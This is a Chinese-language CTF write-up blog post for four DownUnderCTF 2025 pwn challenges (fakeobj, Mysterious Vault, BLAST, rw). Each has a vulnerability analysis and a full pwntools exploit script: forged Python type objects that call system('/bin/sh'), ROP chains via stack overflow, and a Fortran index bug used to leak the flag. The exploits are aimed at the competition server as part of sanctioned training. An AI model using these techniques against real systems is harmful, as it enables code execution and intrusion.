Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

fakeobj

题目描述

Dear MNGA,

send me your best fake snake object

Regards,
joseph

题目功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3

import ctypes

obj = {}
print(f"addrof(obj) = {hex(id(obj))}")

libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")

fakeobj_data = bytes.fromhex(input("fakeobj: "))
for i in range(72):
ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]

print(obj)

题目给出了 obj 对象的地址和 system 函数的地址,然后读入 72 字节,写入 obj 对象的位置

利用思路

参考资料:Exploiting a Use-After-Free for code execution in every version of Python 3

从中可以知道 python 对象基本结构体如下:

1
2
3
4
typedef struct _object {
Py_ssize_t ob_refcnt;
PyTypeObject *ob_type;
} PyObject;

ob_refcnt 是引用计数,ob_type 指向对象所属的类型结构体 PyTypeObject
而 PyTypeObject 结构体中存在 vtable,有很多函数指针可以劫持

因为知道了 obj 的地址,所以可以在 object head 下面伪造一个 PyTypeObject 并让 ob_type 指向伪造的结构体

经过调试发现,print(obj) 时第一个调用的 vtable 的函数指针应该是 PyTypeObject->tp_str

这个函数指针在 PyTypeObject 中偏移 0x88 ,被函数 PyObject_Str 调用

https://github.com/python/cpython/blob/1e672935b44e084439527507a865b94a4c1315c3/Objects/object.c#L822

1
res = (*Py_TYPE(v)->tp_str)(v);

题目限制只能读入 72 字节,所以 ob_type 设置为 &fake_PyTypeObject - 0x88,使得 tp_str 正好落在 obj+0x10 的位置,紧跟在 ob_type 后,设置为 system

因为调用这个函数指针的第一个参数是 _object 的地址,所以篡改 ob_refcnt 为 /bin/sh\x00,又因为引用计数会在运行时 +1 ,所以第一个字节要 -1 ,变成 ./bin/sh\x00

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python

"""
author: St4ckC00ki3
"""
from pwncli import *

filename = "/usr/bin/python3"
libcname = ""
host = "chal.2025.ductf.net"
port = 30001
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname != "":
libc = ELF(libcname)
gs = """
b *0x5856e0
b *0x585780
"""


def start():
if args.GDB:
return gdb.debug([elf.path, "fakeobj.py"], gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process([elf.path, "fakeobj.py"])


p = start()


def leak_address():
if context.arch == "i386":
return u32(p.recv(4))
else:
return u64(p.recv(6).ljust(8, b"\x00"))


def leak_address2(timeout=0.2):
contains = b"\x7f" if context.bits == 64 else b"\xf7"
m = p.recvuntil(contains, timeout=timeout)
if contains not in m:
raise RuntimeError("Cannot get libc addr")
if context.bits == 32:
return u32(m[-4:])
else:
return u64(m[-6:])


def dbg():
if args.AT:
gdb.attach(p, gs)
pause()


s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
ia = lambda: p.interactive()
op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32
op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64

# Your exploit here


def exp():
ru(b'addrof(obj) = ')
obj_addr = int(p.recvuntil('\n', True), 16)
leak_ex2(obj_addr)


ru(b'system = ')
system = int(p.recvuntil('\n', True), 16)
leak_ex2(system)

ru(b'fakeobj: ')
pay = flat(
b".bin/sh".ljust(8, b'\x00'), # refcount,
p64(obj_addr-0x88+0x10), # pointer to fake type object
system
)
pay = pay.ljust(72, b'\x00')
sl(pay.hex())

ia()


exp()

Mysterious Vault

题目描述

Dear MNGA,

You’ve discovered a mysterious vault exposed on a server - surely, if you can break in, great rewards will follow…

Regards,
ItsIronicIInsist

题目功能

出题人好心的提供了源代码

主程序 mysterious_vault 先读入密码到共享内存,然后 fork 后 execve 启动两个子进程 password_handler_3000 和 password_handler_3001 ,启动前还分别为两个子进程 chroot 隔离环境,使得他们只能分别读取到 checker1-trusted-env/ 和 checker2-trusted-env/ 中的文件

3000 和 3001 都是由源码 password_handler_300X.c 静态编译而来,但 3000 是使用的 gcc,而 3001 使用的 clang

子进程先启动了沙盒

sandbox

并且关掉了 标准输入、输出、错误

然后从共享内存中拷贝密码,对密码检查,不通过的话返回 1 错误码告知主进程,主进程失败结束。

如果两个 handler 的退出码为 0 即检查通过,mysterious_vault 会直接把共享内存当作密码拿出来进行检查(之前一直是共享内存 + 0x8 为密码),这次是和真正的密码字符串 memcmp,如果通过会调用 get_flag 打印出 flag。

漏洞点

子程序保护

密码长度最大为 0x200,而子程序的 password 仅有 200 字节大小,从共享内存拷贝时栈溢出。

handler 的检查可以用 ‘\x00’截断绕过

1
if (strcspn(password, "password") != strlen(password)) {

利用思路

exit 中会先 syscall exit_group ,这导致即使是正常情况下两个 handler 都会因为违反沙盒规则而 SIGSYS 异常终止

并且 3000 和 3001 的栈布局不同,返回地址的偏移 3001 在 3000 之前,gadget 也不同

而经过调试我发现 3001 中有 gadget 等效于 exit($rbp-4) 只要控制 *($rbp-4) 为 0即可

1
2
3
.text:000000000041C598                 mov     esi, [rbp-4]
.text:000000000041C59B mov edi, 3Ch ; sys_exit
.text:000000000041C5A0 call sub_401980 ; syscall

而 3000 需要用 rop 链从 checker1-trusted-env/password 真密码文件中读取前 0x8 字节到共享内存的开头,把之前用作存储密码长度占用的 0x8 字节修复为真密码。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/env python

"""
author: St4ckC00ki3
"""
from pwncli import *

filename = "mysterious_vault"
libcname = ""
host = "chal.2025.ductf.net"
port = 30019
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname != "":
libc = ELF(libcname)
gs = """
set follow-fork-mode child
"""


def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)


p = start()


def leak_address():
if context.arch == "i386":
return u32(p.recv(4))
else:
return u64(p.recv(6).ljust(8, b"\x00"))


def leak_address2(timeout=0.2):
contains = b"\x7f" if context.bits == 64 else b"\xf7"
m = p.recvuntil(contains, timeout=timeout)
if contains not in m:
raise RuntimeError("Cannot get libc addr")
if context.bits == 32:
return u32(m[-4:])
else:
return u64(m[-6:])


def dbg():
if args.AT:
gdb.attach(p, gs)
pause()


s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
ia = lambda: p.interactive()
op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32
op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64

# Your exploit here

def cmd(i):
sla("", i)

def add(size,msg):
cmd('1')
ru('')
s(str(size))
ru('')
s(msg)

def edit(idx,msg):
cmd('2')
ru('')
s(str(idx))
ru('')
s(msg)

def show(idx):
cmd('3')
ru('')
s(str(idx))

def dele(idx):
cmd('4')
ru('')
s(str(idx))


def exp():
ru( b'ACCESS REQUIRED. ENTER USERNAME: ')
s("admin")
ru( b'ENTER PASSCODE: ')
ret_3001 = 0x04012A8
pop_rdi = 0x0000000000402371
pop_rsi = 0x0000000000404fe2
pop_rdx_rbx = 0x0000000000456df7
pop_rax = 0x0000000000418462
syscall = 0x0418e10
syscall_gadget = 0x418e27
# pay = flat(
# b"\x00".ljust(0xd0,b'\x00'),
# 0x0000000000456df7, # 3001 rbp = bss
# 0x4017DA ,# 3001 ret
# pop_rdi, # 3000 ret
# )
passwd = b"\x31\xd2\x48\x8d\x35\x1c\x00\x00\x00\x80\xfa\x1b\x7d\x0a\x80\x36\x42\xfe\xc2\x48\xff\xc6\xeb\xf1\xbf\x01\x00\x00\x00\x48\x29\xd6\x89\xf8\x0f\x05\xc3\x1b\x2d\x37\x62\x24\x2d\x37\x2c\x26\x62\x36\x2a\x27\x62\x27\x23\x31\x36\x27\x30\x62\x27\x25\x25\x62\x78\x6b"
pay = flat(
passwd[8:].ljust(0xd0-0x10,b'\x00'),
b"password\x00".ljust(0x10, b'\x00'),
0x0000000000456df7, # 3001 rbp = bss
0x041C598,# 3001 ret = sys_exit(rbp-4)
0xdeadbeef, # 3000 rbp
# 3000 ret

# sys_open("password",0)
pop_rdi,
2,
pop_rsi,
0x1337000+0xc8,
pop_rdx_rbx,
0,
0,
syscall,

# sys_read(fd, shared_buf, 0x8)
pop_rax,
0,
pop_rdi,
0,
pop_rsi,
0x1337000,
pop_rdx_rbx,
8,
0,
syscall_gadget,

# sys_exit(0)
pop_rdi,
60,
pop_rsi,
0,
syscall
)
s(pay)


ia()


exp()

BLAST

题目描述

Dear MNGA,

BEGIN TRANSMISSION
I HEARD ALL THE BEST MATRIX LIBRARIES WERE WRITTEN IN FORTRAN SO I TRIED MY
HAND AT IMPLEMENTING MY OWN. FOR SOME REASON IT KEEPS CRASHING THOUGH?
END TRANSMISSION

Regards,
wednesday

漏洞点

FORTRAN 语言的数组下标从 1 开始而非 0,而题目中数组操作都是从下标 0 开始遍历,导致可以泄露/写矩阵之前的内存。

flag 读取到 bss 了

功能1和3 配合能泄露 栈地址和 pie
功能2 栈溢出,刚好能控制 rbp 和返回地址

利用思路

位于 0x1DEE 的 gadget,可以泄露 $rbp-0x10-17 处的 16字节内存内容

1
2
3
4
5
6
.text:0000000000001DEE                 lea     rdx, p_n        ; p_n
.text:0000000000001DF5 lea rcx, p_m
.text:0000000000001DFC lea rax, [rbp+p_a]
.text:0000000000001E00 mov rsi, rcx ; p_m
.text:0000000000001E03 mov rdi, rax ; p_a
.text:0000000000001E06 call print_matrix_

通过这个 gadget,控制 $rbp-0x10-17 为 bss 上的 flag 来泄露flag

需要多次访问,每次泄露16字节的flag

EXP

Credit:
@LittFlower: 矩阵逆运算,泄露地址和达成栈溢出部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
from sys import argv
from sage.all import *

proc = "./main"
context.log_level = "debug"
context.binary = proc
context.terminal = ["tmux", "neww"]
elf = ELF(proc, checksec=False)

flag = ""
def exp(offset):
global flag
io = remote("chal.2025.ductf.net", 30002) if args.R else process(proc)

if args.G:
gdb.attach(io, """
bbase 0x00000001620
""")


def choose(idx):
io.sendlineafter(b"> \n", str(idx).encode())


choose(1)
b = io.recvuntil(b"MENU:", drop=True).split(b"\n")[1:-1]
b = [(int(i.lstrip().decode())) for i in b]
print(b)


choose(3)
tmp_A = io.recvuntil(b"MENU:", drop=True).split(b"\n")[:-1]
A_list = [(int((i.lstrip().decode()))) for i in tmp_A]
print(A_list)

B_list = [0, 211, 48, 39, 252, 19, 2, 2, 144, 105, 250, 228, 146, 192, 206, 216,
81, 211, 48, 39, 252, 19, 2, 2, 144, 105, 250, 228, 146, 192, 206, 216,
81, 61, 194, 94, 64, 108, 106, 230, 14, 96, 251, 55, 120, 152, 248, 93,
174, 81, 82, 46, 173, 222, 167, 219, 206, 87, 141, 82, 213, 164, 39, 188,
246, 128, 1, 112, 106, 197, 121, 22, 134, 49, 173, 192, 166, 100, 22, 222,
244, 107, 130, 156, 154, 207, 9, 24, 76, 238, 172, 134, 105, 41, 203, 42,
255, 23, 160, 180, 2, 37, 15, 100, 132, 92, 233, 63, 139, 216, 36, 146,
206, 97, 14, 85, 193, 139, 79, 3, 137, 90, 190, 229, 63, 251, 99, 200,
194, 133, 83, 164, 196, 54, 184, 168, 28, 138, 69, 94, 92, 171, 160, 60,
228, 198, 247, 10, 180, 57, 79, 11, 5, 95, 129, 79, 103, 56, 229, 130,
237, 163, 126, 30, 114, 18, 223, 138, 157, 96, 135, 54, 190, 26, 241, 190,
151, 97, 88, 123, 181, 153, 223, 192, 42, 218, 177, 114, 222, 226, 114, 194,
65, 239, 62, 239, 185, 140, 176, 176, 81, 41, 17, 111, 25, 202, 231, 161,
132, 110, 194, 140, 125, 225, 163, 85, 169, 167, 167, 159, 111, 164, 93, 50,
170, 70, 192, 179, 46, 207, 203, 40, 143, 100, 21, 179, 233, 204, 144, 203,
238, 17, 196, 174, 228, 4, 229, 90, 254, 122, 34, 64, 38, 99, 165, 132]


B = matrix(Zmod(256), 16, 16, B_list)
B = B.T
B_inv = B.inverse()
A = matrix(Zmod(256), 16, 1, A_list)

C = B_inv * A % 256

stack_addr = u64(bytes(C.list()[1:9]))
pie_addr = u64(bytes(C.list()[9:]).ljust(8, b"\x00")) - 0x1d1f - 0xcf
print(f"pie_addr => {hex(pie_addr)}\nstack_addr => {hex(stack_addr)}")


choose(2)

target_addr = pie_addr + 0x1dee
print(f"target: {hex(target_addr)}")

C_list = [0]
for i in range(15):
# rbp + retaddr
C_list.append((p64(pie_addr+0x40c0+0x10+17+16*offset) + p64(target_addr))[i])
C = matrix(Zmod(256), 16, 1, C_list)

# 求解 C,使得 A = B * C ⇒ C = B^{-1} * A
A = B_inv * C % 256
print(A)
# A = [174, 128, 87, 7, 126, 64, 134, 137, 47, 30, 168, 225, 162, 130, 231, 181]
for i in A.list():
io.sendline(str(i).encode())

flag_part = io.recvuntil(b"MENU:\n", drop=True).split(b"\n")[:-1]
flag_part = [(chr(int(i.lstrip().decode()))) for i in flag_part]
flag += "".join(flag_part)
io.close()

for i in range(5):
exp(i)
print(f"flag: {flag}")

rw

题目描述

Dear MNGA,

a read and a write, what more could you ask for?

Regards,
joseph

题目功能

Ubuntu GLIBC 2.35-0ubuntu3.8

Python 3.10.12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
while True:
try:
inp = input("> ")
cmd, idx, *val = inp.split()
idx = int(idx)
match cmd:
case "r":
print(a[idx])
case "w":
ctypes.cast(
id(a) + idx, ctypes.POINTER(ctypes.c_char)
)[0] = int(val[0])
case _:
break
except Exception as e:
print("error:", e)

利用思路

python list 结构体如下:

1
2
3
4
5
6
typedef struct {
PyObject ob_base;
Py_ssize_t ob_size;
PyObject **ob_item;
Py_ssize_t allocated;
} PyListObject;

这次没有直接泄露地址了,但可以任意 offset 写对象a的内存

首先得实现泄露地址,我的做法是部分写改其中一个 item 的类型为 PyUnicode_Type ,然后把字符串大小改大,利用 r 功能打印出字符串泄露地址

PyUnicode_Type 结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//https://github.com/python/cpython/blob/f575588ccf27d8d54a1e99cfda944f2614b3255c/Include/cpython/unicodeobject.h#L111
typedef struct {
/* There are 3 forms of Unicode strings:

- compact ascii:

* structure = PyASCIIObject
* test: PyUnicode_IS_COMPACT_ASCII(op)
* kind = PyUnicode_1BYTE_KIND
* compact = 1
* ascii = 1
* (length is the length of the utf8)
* (data starts just after the structure)
* (since ASCII is decoded from UTF-8, the utf8 string are the data)

- compact:

* structure = PyCompactUnicodeObject
* test: PyUnicode_IS_COMPACT(op) && !PyUnicode_IS_ASCII(op)
* kind = PyUnicode_1BYTE_KIND, PyUnicode_2BYTE_KIND or
PyUnicode_4BYTE_KIND
* compact = 1
* ascii = 0
* utf8 is not shared with data
* utf8_length = 0 if utf8 is NULL
* (data starts just after the structure)

- legacy string:

* structure = PyUnicodeObject structure
* test: !PyUnicode_IS_COMPACT(op)
* kind = PyUnicode_1BYTE_KIND, PyUnicode_2BYTE_KIND or
PyUnicode_4BYTE_KIND
* compact = 0
* data.any is not NULL
* utf8 is shared and utf8_length = length with data.any if ascii = 1
* utf8_length = 0 if utf8 is NULL

Compact strings use only one memory block (structure + characters),
whereas legacy strings use one block for the structure and one block
for characters.

Legacy strings are created by subclasses of Unicode.

See also _PyUnicode_CheckConsistency().
*/
PyObject_HEAD
Py_ssize_t length; /* Number of code points in the string */
Py_hash_t hash; /* Hash value; -1 if not set */
/* Ensure 4 byte alignment for PyUnicode_DATA(), see gh-63736 on m68k. */
_Py_ALIGNED_DEF(4, struct _PyUnicodeObject_state) state;
} PyASCIIObject;

从字符串结构体可以看到有三种字符串类型,这里设置为 compact 类型直接泄露出结构体后面的内存。

经过调试发现 a 与 a[1] 的偏移固定,篡改 a[1] 泄露出 pie

然后将 a[1] 类型改为 PyBytesIter_Type 再打印可以泄露出当前对象也就是 a[1] 的地址

最后伪造 PyTypeObject 劫持 vtable 上的函数指针,和 fakeobj 题目一样

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python

"""
author: St4ckC00ki3
"""
from pwncli import *

filename = "/usr/bin/python3"
libcname = ""
host = "chal.2025.ductf.net"
port = 30004
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname != "":
libc = ELF(libcname)
gs = """
"""


def start():
if args.GDB:
return gdb.debug([elf.path, "rw.py"], gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process([elf.path, "rw.py"])


p = start()


def leak_address():
if context.arch == "i386":
return u32(p.recv(4))
else:
return u64(p.recv(6).ljust(8, b"\x00"))


def leak_address2(timeout=0.2):
contains = b"\x7f" if context.bits == 64 else b"\xf7"
m = p.recvuntil(contains, timeout=timeout)
if contains not in m:
raise RuntimeError("Cannot get libc addr")
if context.bits == 32:
return u32(m[-4:])
else:
return u64(m[-6:])


def dbg():
if args.AT:
gdb.attach(p, gs)
pause()


s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
ia = lambda: p.interactive()
op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32
op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64

# Your exploit here

def read(idx):
ru(b'> ')
sl(f"r {idx} aa")

def write(off, val):
ru(b'> ')
sl(f"w {off} {val}")

def writestr(off, val):
for i in range(len(val)):
write(off+i, val[i])


def exp():
# ru(b'addrof(obj) = ')
# obj_addr = int(p.recvuntil('\n', True), 16)
# leak_ex2(obj_addr)

# leak pie
# a[2] type = PyUnicode_Type
item_2_offset = -0x1d100 # 0x100
write(item_2_offset+8, 0xc0)
write(item_2_offset+8+1, 0x67)
# a[2] length
write(item_2_offset+8*2, 0xff)
# a[2] state = compact ascii
write(item_2_offset+8*4, 0xe5)
read(2)

test = r(1)
if test == b'\x3c' or test == b'[':
raise Exception

r(8*2+7)
pie = leak_address() - 0x5745c0
leak_ex2(pie)

# leak a[2] obj addr
# a[2] type = PyBytesIter_Type
pyBytesIterType = pie + 0x574fe0
leak_ex2(pyBytesIterType)
writestr(item_2_offset+8, p16(pyBytesIterType & 0xffff))
read(2)
ru(b'<bytes_iterator object at ')
obj = int(p.recvuntil(b'>', True),16)
leak_ex2(obj)

# a[2] refcount = "/bin/sh\x00"
# a[2] type = fake_type_struct
system = pie + 0x6F460
pay = flat(
b".bin/sh".ljust(8, b'\x00'), # refcount,
p64(obj-0x88+0x10), # pointer to fake type object
system
)
writestr(item_2_offset, pay)

# dbg()
read(2)
ia()


while True:
try:
exp()
except Exception:
p.close()
p = start()
except KeyboardInterrupt:
exit()


评论




本站总访问量为 次 访客数为 人